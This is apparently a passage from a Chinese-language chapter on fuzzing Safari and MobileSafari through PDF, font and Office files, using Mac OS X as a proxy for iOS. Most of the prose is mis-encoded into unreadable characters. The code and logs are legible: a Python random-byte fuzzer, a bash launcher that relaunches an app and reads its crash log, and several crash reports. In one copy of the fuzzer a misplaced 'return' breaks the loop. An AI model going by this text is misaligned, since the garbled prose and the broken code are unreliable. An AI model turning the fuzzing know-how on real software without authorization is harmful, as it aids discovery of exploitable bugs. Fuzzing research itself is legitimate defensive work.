ʶ˓൥ᰠὋͭ iOSୱͺጆፑʿ௦˝Кҩᑞᄉ᝟ኪ఺᝹᝟ᄉὋ߱Եၸ̅˝ځiOS˖థௐॡᬱϡҁὋڙ

੣఺੊Ф̴ዜͪ᝹ܫǌ੝̾ὋϷMobileSafariᤇಧᄉርࣿԌ಩ࡂʿᑞ̯̽֐ᛠըҮὋځ൤˶ࡂʿ

ᑞ̯̽֐ᛠଋԩURLǌᤇሗৰхʽੇ͂ࡂ᜵ᆐቂఢ̼ழกǌ 
ణՐʶ൥ࡂ௦ᄢ฽ᤈᛠഴዹ฽ណᄉःၸὋᄹᄹథ෤థ̣˥ᩱឧѢဗǌᤇ˓൥ᰠڙഴዹ฽ណ˖

௦ᄰॆС᪃ὋͭԠፂ࣡ᜁ঒᜼ᄉǌܷࠑԺᑞѸᤴѢˆႌʼణᐒ௙ᄉ฽ណၸΒὋͭݟ౦෤Ҩกफຌ

ഁҁऄ௦̣˥ڠழѢᩱ˿Ὃᥦ˥в͕ሑᄉ฽ណၸΒ˶ʿ͗ࠪ฽ណᄉ੯ᛠࣛ౎̣˥ܪݝǌՎಧὋݟ

౦ʿᑞ᧗ܬᩱឧ὇ඊழឬ௦᤯᣾γߚ฽ណၸΒὈὋ฽ណၸΒࡂ௃ү̅Ԧဗ᫇ᮤǌ 
ᄢ฽ःၸణኤӬᄉழกࡂ௦˝ःၸᬃҪុណ٧Ὃࣲᄢࠢऩ࣡੊ζՁǌॆርࣿ࢜ຳՐὋ߱͗ၶ

੆ុណ٧Ժ̾ԟཱᄉζՁǌʿ᣾ܷࠑॡঋ͗ᄹҁὋڙMac OS X੊iOS˖Ὃᤇ᤯࣡௦ʿॸ᜵ᄉǌੇ
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͂ᤆԺ̾ڙःၸᄉᄢ฽᣾ር˖΍ၸఝ˝ܬఽᄉழกǌܷ ᄉߚ஠͇ǋЮ̎ג˿Ժ̾ᄢଌःၸ੩धࠑ

΍ၸৰхὋኍኍǌ঳˧Ὃᄢ฽ᄉЮࠓᡔܲὋڙՓःၸᣤЙՋ᤟ᄉ฽ណၸΒௐ;ࡂᡔ͗ซ਒ҁఝܲ

ᄉ᫇ᮤǌʽ᭦Ὃੇ͂ࡂ᜵ᝮᝮঞಧᤈᛠഴዹ฽ណ˿ǌ 

6.3� ᇍ Safari 䖯㸠῵㊞⌟䆩 

iOS௦ዴኤ᣾ᄉMac OS Xǌ̂ࠃʼὋᤇˏᏧథܷᦉѫ̼ᆉ௦ᄰՎᄉὋԵʿ᣾௦˝˿ၸ̅ARM
ࣰԻ὇̼ఢ˿x86੊PowerPCὈᏪ᧗ளᎃដ᣾ǌځ൤Ὃڙ˝iOSጆፑ੼bugௐᄉʶ˓ᤤસࡂ௦ڙMac 
OS Xˀ˧ᄰՎᄉ̼ᆉ˖੼bugǌʿ᣾ᤇឬᡐ౎ࠓ௛ϡᡐ౎ᬱὋᏪ˄ܷࠑॡԺᑞઁௐᫍํ᠟ڙѫౡ

ᥦ̎iOS˖಩ఴ෤థᄉ̼ᆉʼǌᏪ̯Mac OS Xಉbugᄉ̅ڙࡂܪݝὋڙಷ᭦᝟ኪ఺ʼ̣˥̂ᦏ᜵

ኤӬʶ̎ǌܷ ΒὋᏪᤇ̎ಷ᭦᝟ኪ఺ᄉᆵ͇˶᜵ඊiOSࠃ᝴ܲ᝟ኪ఺ʼᤁᛠܲ˓ഴዹ฽ណڙԺ̾ࠑ
᝹ܫᄉݝὋᏪ˄థఝܲࠃၸࢹХԺΘᤤસὋኍኍǌ૰ԱពឬὋˀiOS᝹ܫᄰඊὋڙMac OS Xಷ᭦

᝟ኪ఺ʼఝࠓ௛धࡘഴዹ฽ណὋᏪ˄ڙፋ߿ᄉௐᫍЮᑞၸܲ३ܲᄉ฽ណၸΒᤈᛠഴዹ฽ណǌᄽൣ

ኪ३ʼᎤཁᄉԵథʶ్Ὃᥦࡂ௦ܷࠑణՐԺᑞԦဗʶ̎ԵڙMac OS X˖ڙߚᏪiOS˖ʿڙߚᄉ໣

วὋʿ ᣾ᤇ˶ʿ௦̣˥᣾̅ጁዼᄉ̂ৰǌੇ  ᤆ̭͗ፀࠪiOSఝథ᧪ࠪবᄉழกǌ˖ࠓఴብՐ᭦ᄉЮڙ

6.3.1� 䗝ᢽ᥹ষ 

Safari֖MobileSafariᦏ΍ၸ˿WebKitЮನὋ˝ځᯪЎᭉ᜵ᤤસ᜵̣ࠪ˥ᤈᛠഴዹ฽ណǌࠑܷ

੝̾థܷ᧙ᄰՎᄉ̼ᆉԺΘഴዹ฽ណǌኤӬᡐ᜸ὋఴᓫᄉΒࠪ͗࠱ߔPDF὇Portable Document 
FormatὋΦ୅஠ುಪयὈᤈᛠഴዹ฽ណǌSafari֖MobileSafariᦏ͗ມ౿ᤇ̎஠ುǌᤇሗ஠ುಪय

௦ॡʿᩱᄉᄫಕὋځ˝߱௦ሗᄰॆܬఽᄉ̃ᤈ҃ಪयǌၿ̅AdobeМՂඇᬥі˓త͗ࡂМ࣊ᔩ࣯

Acrobat Readerᄉ໣วὋᏪMac OS Xᄉं˶ᭉ᜵ူܪዜͪᄉ஠ುὋځ൤ੇ͂థူၿᄰζᤇ̼̎ᆉ

˖˶໷ᘨᅋ໣วǌ  

6.3.2� ⫳៤⌟䆩⫼՟ 

ࠪ஠͇ಪयᤈᛠഴዹ฽ណᄉʶ˓͕ཁ௦ॡࠓ௛ၶ੆ܷ᧙฽ណၸΒǌ᜵ᤈᛠ۲̅Ԫऩᄉഴዹ฽

ណὋੇ͂Եᭉ᜵੼ʶ˓὇੊і˓ὈಧΒPDF஠͇ὋࣲࠪФᤈᛠᬣ఺இԪǌ฽ណၸΒᄉ᠎᧙Ԩф̅

੝΍ၸᄉPDF஠͇ǌݟ౦ੇ͂΍ၸ˿᭣࣡ኤӬᄉ஠͇Ὃࡂʿ͗฽ណܲ࠵PDFᝌౡ̼ᆉ὚ܬఽᄉ஠

͇஌౦ఝݝǌူਆ࿃খʽὋܷࠑःឞၸܲ˓ʿՎᄉѹݼPDF஠͇ၶ੆฽ណၸΒὋѫѾណᰍPDF᜺
ᔴ˖ᛪᤗᄉʿՎྱবǌ 

ʽ᭦ᄉPythonѥஜԺ̾ՓᎀуӜຊҪᬣ఺ᄉԪӐǌܷࠑԺ̾᝹ਆʶʽὋឳЙPDF஠ುὋࣲԥ

 ၸឞѥஜὋ̾ၶ੆ʿՎᄉԪӐ᣾ᄉ஠͇Ὑុࠓ஠ುᄉЮࠪܬ

def fuzz_buffer(buffer, FuzzFactor): 
        buf = list(buffer) 
        numwrites=random.randrange(math.ceil((float(len(buf)) / 
FuzzFactor)))+1 
        for j in range(numwrites): 
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                rbyte = random.randrange(256) 
                rn = random.randrange(len(buf)) 
                buf[rn] = "%c"%(rbyte); 
      return "".join(buf) 

ᙉཨᤇൿ̼ᆉ౜˝ኤӬὋ̠ͭ͂ࣂፂၸ߱ڙMac OS X֖iOS˖੼ҁ᣾ܷ᧙໣ว˿ǌ �

6.3.3� ⌟䆩੠ⲥ⌟ᑨ⫼ 

ͺǌၿfuzz_bufferࢹХԺ̾᠆᠉ᤇˏᮉࢹᎃзᄉ˝ځԺ̾ઁ฽ណ֖ᄢ฽ፆՋᡐ౎Ὃࠑܷ

ѥஜၶ੆ᄉഴዹᣤЙ᜵Ԧᤞፋԩ฽ណᄉःၸǌՎௐὋܷࠑᭉ᜵ᄢ฽ःၸὋᄹᄹ௦ՠథᣤЙፋ߱ᤴ

੆˿᳣ཐǌʿክঞಧὋݟ౦̯లԦဗ੝ౝᤴᄉᣤЙᝧርࣿ࢜ຳ᣾Ὃᥦ˥ੇ͂ౝᤴ߸Ꮎᄉৎ਒ᣤЙ

 ෤థ͉ʹ਒˦˿ǌࡂФԦᤞፋय़฽ណᄉርࣿ࠱ࣲ
Mac OS X֖iOS˖ᦏథᄉ࢜ຳઐն٧὇Crash ReporterὈ௦ሗ౜·ᄉ఺҃ὋԺ̾ᆷ߿ʹௐѢဗ

˿ርࣿ࢜ຳǌʿ ᣾߱ࠪഴዹ฽ណ౎ឬࣲʿ߸ᎾὋځ˝࢜ຳઐն٧ᄉፆ౦௦ߚஉڙ౼̎ᄫे˖ᄉ஠

͇Ὃᤇ̎ᄫे͗࢜ڙຳԦၶՐॡঋѢဗὋͭ͗ڙѢဗᔩ࣯൒࢜ຳՐ๖ܾǌځ൤Ὃ᜵ᤈᛠᄢ฽Ὃੇ

͂ణݝ௦͋҃ʶ˓crash.exeርࣿ὇ឞርࣿԓఴ̨ၸ̅WindowsጆፑὈǌܷࠑԺ̾ڙFileFuzz
὇http://labs.idefense.com/software/fuzzing.phpὈ˖੼ҁMichael Suttonᎃзᄉcrash.exeǌᤇ˓ኤӬᄉ

ርࣿଋԩय़ըҮᄉርࣿǋᤁᛠ஠͇ᭉ᜵ᄉඒሙஜ֖य़฽ណርࣿᄉ̽֐ᛠԟஜᛪࣲͺ˝̽֐ᛠԟஜ

΍ၸǌ  
ཨՐὋcrash.exe͗ըҮय़฽ណርࣿὋࣲᬃҪҁឞርࣿ˧ʼὋ̯Ꮺࠪ࢜ຳ੊Ф̴ʿݝᄉᛠ˝ᤈ

ᛠᄢ฽ǌݟ౦ឞःၸ࢜ຳὋᥦ˥crash.exe͗ࡂ੩ӾѢˀ࢜ຳௐ࠘٧ߚ࿃খథСᄉ౼̎ζোǌՠѶὋ

 1੝ᇧὈǌ-6ڎݟᄉඒሙஜ˧ՐὋ߱͗С᫆ርࣲࣿᤝѢ὇߿ፂ᣾ૈڙ

 

�1-6ڎ  Windows˖ၸcrash.exe੼࢜ຳڙ

̯಩ఴʼᝮὋcrash.exe੝Хథᄉݟʽྱবࠪᤋ፝ܲ൒੯ᛠᄫಕርࣿᏪᝒ௦ॡူਆᄉǌ߱͗ၸ

ǌ߱ٿᄉௐᫍՐγ᝼ᤄ߿ፂ᣾ʶڙᄉԟஜըҮᄫಕርࣿὋᏪ˄ᑞᝧᄫಕርࣿ߿ૈ Ժ̾ខѾርࣿʹ
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ௐ࢜ຳ᣾Ὃࣲ ͗ፋѢˀ࢜ຳ὇ڎݟڙ੝ᇧᄉৰх˖ࡂ௦࠘٧ߚᄉʼʽ஠ᣀϱὈథСᄉζো὚ՠѶὋ

crash.exeጻൢՐ௦ʿвᤁᛠᄉǌڙ᜵ᅻ᥊ᄫಕᤈርࠑጻൢᄉ๖োǌణՐὋܷࣂ੩ӾѢᤈር͗ࡂ߱

ణՐᤇʶཁ௦ॡ᧗᜵ᄉὋڙ౼ርࣿథʶ˓ࠃΒڙࣂᤁᛠᄉৰхʽὋՐᤁᛠᄉࠃΒ੝ᛪဗѢᄉᛠ˝

᤯࣡͗థ੝ʿՎǌ 
ʽ᭦ᄉΒߔᛪ௙ὋڙMac OS X˖ѽၸ࢜ຳઐն٧ᄉࢹͺԓူὋύүʶ˓ኤӬᄉshellᑭఴ὇Տ

˝crashὈഴ͋ᤇሗᛠ˝௦᭣࣡ࠓ௛ᄉǌ὇ឞᑭఴ௦ၸbashᎃзᄉὋࣲ෤థ᧓ၸPythonὋᤇಧԺ̾

ழΦܷڙࠑiOS˖΍ၸឞᑭఴǌܷࠑణݝʿ᜵ڙiOS˖΍ၸPythonὋځ˝ၸPythonзᄉᑭఴڙiOS
˖ᤁᛠᡐ౎᜵ਤʶ̎ǌὈ 

#!/bin/bash 
 
mkdir logdir 2>/dev/null 
app=$1 
url=$2 
sleeptime=$3 
filename=~/Library/Logs/CrashReporter/$app* 
mv $filename logdir/ 2> /dev/null 
/usr/bin/killall -9 "$app" 2>/dev/null 
open -a "$app" "$url" 
sleep $sleeptime 
cat $filename 2>/dev/null 

ឞᑭఴ͗ଋԩय़ըҮርࣿᄉՏሥǋ᜵͛ᤞፋឞርࣿᄉ̽֐ᛠԟஜ֖ᤄٿґ᜵ᅓᄾᄉሙஜͺ˝

ᛠԟஜǌ߱̽֐ ͗ઁ੝Ꮵᘼርࣿᄉ͉ʹ࢜ຳઐնᦏሧҮҁ௅ংᄫेὋཨՐጻൢ੝థڙߚᄉᄫಕᤈ

ርὋࣲុၸopen̾ૈ߿ᄉԟஜըҮःၸǌុၸopen௦ሗʿᩱᄉᤈርըҮழयὋځ˝߱Љ᝴ܷࠑ

౦Ե௦᜵ըҮSafariःၸὋᥦ˥߱Եᭉ᜵ଋԩݟᛠԟஜǌ̽֐URLࣲͺ˝͛ᤞፋSafariᄉ˓౼߿ૈ

஠͇ՏǌణՐὋ߱͗ᅓᄾ੝ឯයᄉሙஜὋࣲ੩ӾѢ࢜ຳઐն὇ݟ౦ڙߚᄉពὈǌʽ᭦௦ࡘᇧФၸ

กᄉˏ˓Βߔǌ�

$ ./crash Safari http://192.168.1.182/good.html 10 
$ 
 
$ ./crash Safari http://192.168.1.182/bad.html 10 
Process:         Safari [57528] 
Path:            /Applications/Safari.app/Contents/MacOS/Safari 
Identifier:      com.apple.Safari 
Version:         5.1.1 (7534.51.22) 
Build Info:      WebBrowser-7534051022000000~3 
Code Type:       X86-64 (Native) 
Parent Process:  launchd [334] 
 
Date/Time:       2011-12-05 09:15:27.988 -0600 
OS Version:      Mac OS X 10.7.2 (11C74) 
Report Version:  9 
 
Crashed Thread:  10 
 
Exception Type:  EXC_BAD_ACCESS (SIGBUS) 
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Exception Codes: KERN_PROTECTION_FAILURE at 0x000000010aad5fe8 
... 
 
Thread 0:: Dispatch queue: com.apple.main-thread 
0   libsystem_kernel.dylib              0x00007fff917b567a 
mach_msg_trap + 10 
1   libsystem_kernel.dylib              0x00007fff917b4d71 mach_msg 
+ 73 
... 

థ˿ᤇ˓ࠃၸᄉ࠴ᑭఴὋੇ͂ࡂԺ̾ᒬҮըҮःၸὋࣲ᤯᣾ᝌౡФಕэᣤѢଉ฽௦ՠڙߚ

࢜ຳǌឞᑭఴᄉԲʶཁࡂܪݝ௦᤟ၸ̅ܲሗःၸὋᏪʿ̨௦Safariǌʽ᭦ᤇಧᄉΒߔ˶௦ᛠ३

᤯ᄉὙ�

$ ./crash TextEdit toc.txt 3 
$ ./crash "QuickTime Player" good.mp3 3 

੝̾Ὃܷࠑథ˿ၶ੆ᣤЙᄉҨกὋ˶థ˿ըҮርࣿᤈᛠ฽ណࣲࠪФᤈᛠᄢ฽ᄉழกὋଋʽ౎

�ᤇ̎ˋ᜴КᦉፆՋᡐ౎Ὑ࠱௦᜵ࡂ

import random 
import math 
import subprocess 
import os 
import sys 
 
def fuzz_buffer(buffer, FuzzFactor): 
     buf = list(buffer) 
     numwrites=random.randrange(math.ceil((float(len(buf))/FuzzFactor)))+1 
     for j in range(numwrites): 
          rbyte = random.randrange(256) 
          rn = random.randrange(len(buf)) 
          buf[rn] = "%c"%(rbyte); 
          return "".join(buf) 
 
def fuzz(buf, test_case_number, extension, timeout, app_name): 
     fuzzed = fuzz_buffer(buf, 10) 
     fname = str(test_case_number)+"-test"+extension 
     out = open(fname, "wb") 
     out.write(fuzzed) 
     out.close() 
     command = ["./crash", app_name, fname, str(timeout)] 
     output = subprocess.Popen(command,stdout=subprocess.PIPE).communicate()[0] 
     if len(output) > 0: 
          print "Crash in "+fname 
          print output 
     else: 
          os.unlink(fname) 
 
if(len(sys.argv)<5): 
     print "fuzz <app_name> <time-seconds> <exemplar> <num_iterations>" 
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     sys.exit(0) 
else: 
     f = open(sys.argv[3], "r") 
     inbuf = f.read() 
     f.close() 
     ext = sys.argv[3][sys.argv[3].rfind('.'):] 
     for j in range(int(sys.argv[4])): 
          fuzz(inbuf, j, ext, sys.argv[2], sys.argv[1])  

6.4� PDF ῵㊞⌟䆩Ёⱘݦ䰽�

ᣖᏤ὇10.5.7˧ґὈྟఴᄉMac OS X˖ၸʼʶᓫଡҁᄉഴዹ٧ࠪPDFᤈᛠഴዹ฽ណὋڙ౦ݟ

ᜁ̠Ԧဗᄉࡂ2009ࣱڙԺᑞ᧗ளԦဗ௉ࡂ; JBIG໣ว὇http://secunia.com/secunia_research/ 
2009-24/Ὀǌឞ໣วڙMac OS X֖iOS 2.2.1Ԣఝ௉ྟఴ˖ᦏѢဗ᣾ǌˀiOS˖ឞbugࠪःᄉ࢜ຳઐ

նݟʽ੝ᇧὙ 

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 
"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 
<plist version="1.0"> 
<dict> 
       <key>AutoSubmitted</key> 
       <true/> 
       <key>SysInfoCrashReporterKey</key> 
       <string>c81dedd724872cf57fb6a432aa482098265fa401</string> 
       <key>bug_type</key> 
       <string>109</string> 
       <key>description</key> 
       <string>Incident Identifier: E38AB756-D3E6-43D0-9FFA-427433986549 
CrashReporter Key:  c81dedd724872cf57fb6a432aa482098265fa401 
Process:         MobileSafari [20999] 
Path:            /Applications/MobileSafari.app/MobileSafari 
Identifier:      MobileSafari 
Version:         ??? (???) 
Code Type:       ARM (Native) 
Parent Process:  launchd [1] 
 
Date/Time:       2009-06-15 12:57:07.013 -0500 
OS Version:      iOS OS 2.2 (5G77) 
Report Version:  103 
 
Exception Type:  EXC_BAD_ACCESS (SIGSEGV) 
Exception Codes: KERN_INVALID_ADDRESS at 0xc000000b 
Crashed Thread:  0 
 
Thread 0 Crashed: 
0   libJBIG2.A.dylib          0x33c88fa8   0x33c80000 + 36776 
1   libJBIG2.A.dylib          0x33c89da0   0x33c80000 + 40352 
2   libJBIG2.A.dylib          0x33c8a1b0   0x33c80000 + 41392 
... 
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ឞbugӾ᝼˿ѽၸಷ᭦ഴዹ฽ណԺ̾੼ѢiOS˖ᄉbugὋځ˝߱ឬ௙ಷ᭦ୱͺጆፑ˖Ԧဗᄉbug
὇థௐὈ˶ԺᑞڙiOS˖Ѣဗǌʿ᣾Ὃ̂ৰࣲ᭣঳௦ᤇ˥ኤӬǌ̂ࠃ᝼௙ὋᙉཨMac OS Xಷ᭦ྟ

֖iOS˖ᄉWebเ᜾٧ᦏᑞມ౿֖௬ᇧPDF஠͇Ὃͭ iOSྟఴᄉҩᑞ෤ᥦ˥КὋᏪ˄෤กϷMac OS 
XᄉྟఴᥦಧᰁᯱPDF஠͇ᄉ੝థᩱ፫ܬఽᄉྱবǌʶ˓቉ѢᄉΒࡂߔ௦Charlie Millerၸ౎ᡄ३

2009ࣱPwn2Ownܷᠾᄉ bug὇ http://dvlabs.tippingpoint.com/blog/2009/03/18/pwn2own-2009-day- 
1---safariinternet-explorer-and-firefox-taken-down-by-four-zero-day-exploitsὈǌឞbug̅ڙߚMac OS X
ͳಪयὈᄉழก˖ǌឞ໣วԺၿ@font-face HTTPߙ᎕ৎ਒CFF὇Compact Font FormatὋԌူܪ
ಕ᝭ᄯଋڙเ᜾٧˖ᝎԦὋͭڙඊᠾ˖MillerઁߙͳࢥЙ˿PDF஠͇˧˖ǌਆѽၸឞ໣วᤴ੆ᄉ

۶ຼѢᤈᛠ໣วஈѣ௦థཁᬱऎᄉὋͭ ௬ཨ௦ԺᛠᄉὀৰхڙiOS˖ѶʿՎǌiOSͪ˪߸К঒႔˿

˝ᝢࠑbugὋܷ౼ڙߚឬ௙ὋథௐϊMac OS XࡂͳὋᏪ˄߸Кʿԩᤇʶ஠͇ᄉॕֽǌᤇߙЙᄉࢥ

iOS˖˶͗థᄰՎᄉbugὋͭࠃᬄʼԁ෤థǌвΒݟὋMillerڙsecurityevaluators.com/files/slides/ 
cmiller_CSW_2010.ppt˖ឬ̴ڙMac OS X˖Ԧဗ˿281˓ʿՎᄉ๗ԢPDFᄉSafariርࣿ࢜ຳὋͭФ

˖Եథ22˓὇ጝ˝281˓ᄉ7.8%Ὀ͗ᝧMobileSafari࢜ຳǌ�

ʽ᭦௦Բʶ˓ၿߙͳलᡐᄉPDF࢜ຳὋ߱˶௦ԵѢဗڙMac OS X˖Ὃࣲ͗ʿѢဗڙiOS˖ǌ

ឞ໣วڙ୨зᤇ̎஠ߙௐ࠺ల३ҁνᛩǌ 

Process:            Safari [58082] 
Path:               /Applications/Safari.app/Contents/MacOS/Safari 
Identifier:         com.apple.Safari 
Version:            5.1.1 (7534.51.22) 
Build Info:         WebBrowser-7534051022000000~3 
Code Type:          X86-64 (Native) 
Parent Process:     launchd [334] 
 
Date/Time:          2011-12-05 09:46:10.589 -0600 
OS Version:         Mac OS X 10.7.2 (11C74) 
Report Version:     9 
 
Crashed Thread:     0   Dispatch queue: com.apple.main-thread 
 
Exception Type:     EXC_BAD_ACCESS (SIGSEGV) 
Exception Codes:    KERN_INVALID_ADDRESS at 0x0000000000000000 
 
VM Regions Near 0: 
--> 
     __TEXT                     00000001041ab000-00000001041ac000 
                                [    4K] r-x/rwx SM=COW 
/Applications/Safari.app/Contents/MacOS/Safari 
 
Application Specific Information: 
objc[58082]: garbage collection is OFF 
 
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread 
0   libFontParser.dylib           0x00007fff8dd079dd 
               TFormat6UTF16cmapTable::Map(unsigned short const*, 
               unsigned short*, unsigned int&) const + 321 
1   libFontParser.dylib           0x00007fff8dd07a9f 
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TcmapEncodingTable::MapFormat6(TcmapTableData 
               const&, unsigned char const*&, unsigned int, 
               unsigned short*, unsigned int&) const + 89 
2   libFontParser.dylib           0x00007fff8dce9f71 
               TcmapEncodingTable::Map(unsigned char const*&, 
               unsigned int, unsigned short*, unsigned int&) 
const 
               + 789 
3   libFontParser.dylib           0x00007fff8dd197b9 
FPFontGetTrueTypeEncoding + 545 

ಷ᭦ጆፑ˖लԦርࣿ࢜ຳᄉ஠͇ᭉ᜵ᄉᠪຸܹܲ˿ὋԺᑞᡓ᣾ڙᤆԺᑞԦဗʶ˓᫇ᮤὙࠑܷ

˿ሧҮ᝹ܫᄉူܪᑞҦǌᤇಧʶ౎ੇ͂ࡂ෤กឬ௙ឞbug௦ՠ˶ڙiOS˖ڙߚὋځ˝ԺᑞԵ௦ྱ߿

ᄉ஠͇᣾ܷὋ̯ Ꮺ௃ก࠱Ф߸ஞڠມ౿Ѣ౎ǌݟ౦ڙಷ᭦ጆፑ˖Ԧဗᄉbugᄹᡐ౎ॡథ਒ধᄉពὋ

˶ʿҮǌᤇ࠯ὋᏪណᅋᝧbugԓ࠴ᄉܷူܪҁʶ˓Ժ̾࠴᎕ᄰःᄉPDF஠͇࠱Ϙ३ᔈௐᫍࡂ͂ੇ

᝴ᭉ᜵Ᏹ᠟ܷ᧙ᄉዴҦὋࣲ Ժᑞ᜵යੇ͂ࠪ໣วథК᭦ᄉ˿ᝌǌᏪ˄ᤇၴᒯథԺᑞ௦˓෤ก߸੆

ᄉ͉ҫǌ˝˿ឬ௙ᤇሗৰхὋʽ᭦ፋѢ˿ಷ᭦ጆፑ˖ᄉʶ˓ඊᣖᏤᄉጆፑ࢜ຳὙ�

Process:            Safari [11068] 
Path:               /Applications/Safari.app/Contents/MacOS/Safari 
Identifier:         com.apple.Safari 
Version:            4.0 (5530.17) 
Build Info:         WebBrowser-55301700~2 
Code Type:          X86 (Native) 
Parent Process:     launchd [86] 
 
Date/Time:          2009-06-15 13:14:04.182 -0500 
OS Version:         Mac OS X 10.5.7 (9J61) 
Report Version:     6 
Anonymous UUID:     FE533568-9587-4762-94D2-218B84ACA99C 
 
Exception Type:     EXC_BAD_ACCESS (SIGBUS) 
Exception Codes:    KERN_PROTECTION_FAILURE at 0x0000000000000050 
Crashed Thread:     0 
 
Thread 0 Crashed: 
0   com.apple.CoreGraphics           0x913ba9c1 
               CGImageSetSharedIdentifier + 78 
1   com.apple.CoreGraphics           0x919d3b28 
               complex_draw_patch + 3153 
2   com.apple.CoreGraphics           0x919d5782 
               cg_shading_type6_draw + 7154 
3   com.apple.CoreGraphics           0x919e7bc8 
               CGShadingDelegateDrawShading + 354 
4   libRIP.A.dylib                   0x95fd7750 
               ripc_DrawShading + 8051 
5   com.apple.CoreGraphics           0x9142caa7 
               CGContextDrawShading + 100 

Ϸ࢜ຳ˿ʶಧǌʿ᣾ὋᤇݝࡂiOSʼၸเ᜾٧੩धՎಧᄉPDFὋเ᜾٧᫄͗ᤝὋڙ౦ੇ͂ݟ

ࣲ᭣௦ځ˝เ᜾٧࢜ຳ˿ὋᏪ௦ځ˝᝹ܫᄉథᬌᠪຸᜁᏱࡉ˿ǌʽ᭦௦ឞ᫇ᮤᄉ᫇ᮤઐնὙ�

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



6.4� PDF ഴዹ฽ណ˖ᄉгᬖ� � 125 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

Incident Identifier:    FEB0AB3C-CB16-4B4E-A66A-FD27A9F2F7DE 
CrashReporter Key:      96fe78ade92e4beeeee112a637133bb905f07623 
OS Version:             iOS OS 3.0 (7A341) 
Date:                   2009-06-15 11:18:39 -0700 
 
Free pages:             244 
Wired pages:            6584 
Purgeable pages:        0 
Largest process:        MobileSafari 
 
Processes 
       Name             UUID        Count resident pages 
       MobileSafari     <72f90a06ab2018c76f683bcd3706fa8b> 
                              5110 (jettisoned) (active) 

ੇ͂ʿԺᑞ̯ᤇൿζো˖ѫᣱѢiOSᄉᄰः̼ᆉ௦ՠڙߚ໣วǌʿ᣾Ὃᤇࣲʿ߸К௦ڭ๖

োǌੇ͂˶థԺᑞѽၸᤇሗழกڙiOS˖੼ҁʶ̎ᄽൣᄉbugǌࡘ2-6ڎᇧ˿Mac OS X˖ᄉ࢜ຳ

ઐնǌ�

 

�2-6ڎ Mac OS X˖ᄉ࢜ຳઐն 

 ເᡱᢍζোὈǌٿiOS˖థᅋі˪ᄰՎᄉڙᇧ˿ᄰՎᄉ࢜ຳ὇ࡘ3-6ڎ
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�3-6ڎ iOS˖ᄰՎᄉઐն  

6.5� ᇍᖿ䗳ᶹⳟ˄Quick Look˅ⱘ῵㊞⌟䆩 

ͺ˝ʶሗࠓ௛ʼ੣ᄉழกὋઔᅋMobileSafariХథᄰՎ໣วᄉయభࠪSafariᤈᛠഴዹ฽ណ஌౦

ʿᩱǌͭ߱͂Фࠃ௦ʿՎᄉርࣿὋݟ౦ਆ᜵ፘ፝ၸᤇሗύү̅ࠪMac OS Xᤈᛠഴዹ฽ណᄉழก

૬૥iOSᄉbugὋੇ͂ࡂॸᮋஇԪʶ̎ᛠ̂ழयǌᏥᘼʶʽᤇˏሗเ᜾ူܪ٧Microsoft Office஠͇

ಪय὇.xlsǋ.pptǋ.docǋ.docxኍὈᄉழयǌSafari͗ଡᇧၸਖ਼ʽᣑ஠͇ὋᏪMobileSafari͗ᒬҮᝌ

ౡ֖ມ౿஠͇ǌځ൤Ὃੇ͂෤Ҩก᤯᣾ࠪSafariᤈᛠഴዹ฽ណ౎ࠪMobileSafariူܪOffice஠͇ᄉ

ழกᤈᛠഴዹ฽ណǌMicrosoft Office௦˃᫂ူܪᤇ̎஠͇ಪयᄉὋᏪ߱ఴᢵᦏ෤กၸ߶Кᄉழय

౎ူܪᤇ̎஠͇ಪयὋ੝̾ੇ͂˶ʿॸయభࣲ᭣˃᫂ူܪᤇ̎ಪयᄉiOSᑞူܪ३ఝݝǌ̂ ʼὋࠃ

ఴ˹ᄉˏՏͺᏧࡂѽၸ.pptಪयᡄ३˿2011ࣱᄉPwn2Ownܷᠾǌ 
Ԧဗᯪ൒ҪᣑOffice஠ುௐ͗ҪᣑՏ˝OfficeImportᄉྱ͗ࡂ;౦˝MobileSafariᬃҪgdbὋݟ

൳ंǌ˧ՐὋڙᤈᛠഴዹ฽ណௐὋܷࠑԺ̾ᆷᝢឞं௦ူܪOffice஠ುᄉὋڙ͗ࠑܷ˝ځФ˖Ԧ

ဗርࣿ࢜ຳǌ 

... 
165 OfficeImport                F 0x38084000            dyld Y Y 
/System/Library/PrivateFrameworks/OfficeImport.framework/ 
OfficeImport at 0x38084000 (offset 0x6c6000) 
/System/Library/PrivateFrameworks/OfficeImport.framework/ 
OfficeImport" at 0x38084000] 
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Finderርࣿ˖੊ͺڙᅻ᥊ʶሗᮔ᜾Office஠ುᄉழयὙ͗ࡂMac OS X᭣࣡˿ᝌὋࠪࠑ౦ܷݟ

˝Mail.app˖ᄉᬃ͇Ὃᤤ˖஠ࣲ͇૊ʽቆಪ᪃ǌᤇሗᮔ᜾ҩᑞࡂ३ᄝ̅ঋᤳಉᄹǌᏪੇ͂Ժ̾ѽ

ၸqlmanageርࣿ᤯᣾̽֐ᛠଌ҃ঋᤳಉᄹǌΒݟὙ�

qlmanage –p good.ppt 

ԦဗˀMobileSafari͗ࡂ;ᄉqlmanageὋ˖ʼǌᄹᄹុណ٧࣪ࡕڙ੝ឯයᄉ໥ᇧ஠ሼյဗઁ͗ࡂ
˖ʶಧᄉंǌ�

173 OfficeImport                        F 0x1062b0000       dyld Y Y 
/System/Library/PrivateFrameworks/OfficeImport.framework/ 
Versions/A/OfficeImport at 0x1062b0000 (offset 0x1062b0000) 

௦ࠪࡂ൤Ὃ᜵ࠪMobileSafariᄉOffice஠ುഴዹ฽ណҩᑞᤈᛠഴዹ฽ណὋణథ஌ᄉழกځ

qlmanageᤈᛠഴዹ฽ណǌ᝭ͰὋ౼̎ࠃΒᄉ࢜ຳڙqlmanage֖iOS὇੊ʽʶᓫ᜵̭ፀᄉiOSഴ઱٧Ὀ

˖ࣲʿ঳௦ࠪःᄉǌΒݟὋѢဗڙqlmanage˖ᄉ࢜ຳԺᑞʿ͗ڙMobileSafari˖Ѣဗǌʿ᣾Ὃᤇͪ

˪௦ᄰॆᎫ᜸ᄉৰ्ὋᏪ˄ఝԺᑞ௦ंྟఴᄉ̎᝴ࢿऩलᡐᄉὋᏪʿ௦ځ˝߱͂ХథʿՎᄉ̼ᆉ

